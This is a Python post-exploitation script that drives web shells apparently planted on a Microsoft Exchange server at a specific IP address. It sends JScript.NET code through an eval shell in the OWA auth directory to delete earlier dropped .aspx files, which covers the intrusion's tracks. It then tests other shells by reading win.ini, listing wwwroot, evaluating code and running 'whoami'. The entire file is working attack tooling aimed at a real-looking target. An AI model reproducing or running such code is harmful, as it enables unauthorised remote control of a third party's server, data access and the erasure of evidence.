#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=40)
        return r.text.split('!BD')[0][:300]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:100]}"

base = "C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth"
print("cleanup:", repr(ev(
 f'var s="";var ns=["tt1.aspx","tt2.aspx","tt3.aspx","tt4.aspx"];for(var i=0;i<ns.length;i++){{'
 f'var p="{base}\\\\"+ns[i];try{{System.IO.File.Delete(p);s+=ns[i]+"=del;";}}catch(e){{s+=ns[i]+"=err;";}}}}Response.Write(s);')), flush=True)

C = "https://103.167.140.144/aspnet_client/c.aspx"
O = "https://103.167.140.144/owa/auth/c.aspx"
tests = [
 ("GET base", C, {}),
 ("rf win.ini", C, {"rf": "C:\\Windows\\win.ini"}),
 ("lf wwwroot", C, {"lf": "C:\\inetpub\\wwwroot"}),
 ("z eval", C, {"z": 'Response.Write("Z|"+System.Environment.UserName);'}),
 ("cmd whoami", C, {"cmd": "whoami"}),
 ("base owa", O, {}),
 ("z owa", O, {"z": 'Response.Write("ZO|"+System.Environment.MachineName);'}),
]
for name, u, p in tests:
    try:
        r = requests.get(u, params=p, verify=False, timeout=30)
        print(f"[{name}] {r.status_code} | {repr(r.text.split('!BD')[0][:200])}", flush=True)
    except Exception as e:
        print(f"[{name}] EXC {type(e).__name__} {str(e)[:80]}", flush=True)

# POST form 支持
try:
    r = requests.post(C, data={"z": 'Response.Write("POSTZ|"+System.Environment.MachineName);'}, verify=False, timeout=30)
    print("[POST z]", r.status_code, "|", repr(r.text.split('!BD')[0][:120]), flush=True)
except Exception as e:
    print("[POST z] EXC", str(e)[:80], flush=True)